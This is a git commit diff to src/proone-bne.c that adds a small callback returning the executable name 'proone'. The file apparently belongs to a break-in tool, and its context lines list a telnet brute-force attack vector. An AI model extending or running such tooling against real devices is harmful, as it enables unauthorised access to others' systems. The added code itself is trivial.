diff options
author | David Timber <mieabby@gmail.com> | 2020-09-19 03:15:28 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-19 03:15:28 +0930 |
commit | 66a17c4bf5c38579e460209c2028d3275f366121 (patch) | |
tree | e169276fb0b1686abb01c0c5e794e96aaa253e13 /src/proone-bne.c | |
parent | 54166c46f32555532dc3c0e922fe6a591cb74128 (diff) |
Impl bne
Diffstat (limited to 'src/proone-bne.c')
-rw-r--r-- | src/proone-bne.c | 12 |
1 files changed, 12 insertions, 0 deletions
diff --git a/src/proone-bne.c b/src/proone-bne.c index fd897a7..2770280 100644 --- a/src/proone-bne.c +++ b/src/proone-bne.c @@ -106,6 +106,17 @@ static void report_result (const prne_bne_result_t *r) { } } +static char *cb_exec_name (void) { + static const char *EXEC_NAME = "proone"; + const size_t len = strlen(EXEC_NAME); + char *ret = prne_alloc_str(len); + + prne_assert(ret != NULL); + memcpy(ret, EXEC_NAME, len + 1); + + return ret; +} + int main (const int argc, const char **args) { static prne_bne_vector_t ARR_VEC[] = { PRNE_BNE_V_BRUTE_TELNET, @@ -227,6 +238,7 @@ int main (const int argc, const char **args) { param.rcb.m_dv = m_dv; param.rcb.dv_len = dv_len; param.rcb.ba = &ba; + param.cb.exec_name = cb_exec_name; for (size_t i = 0; i < cnt; i += 1) { prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1); |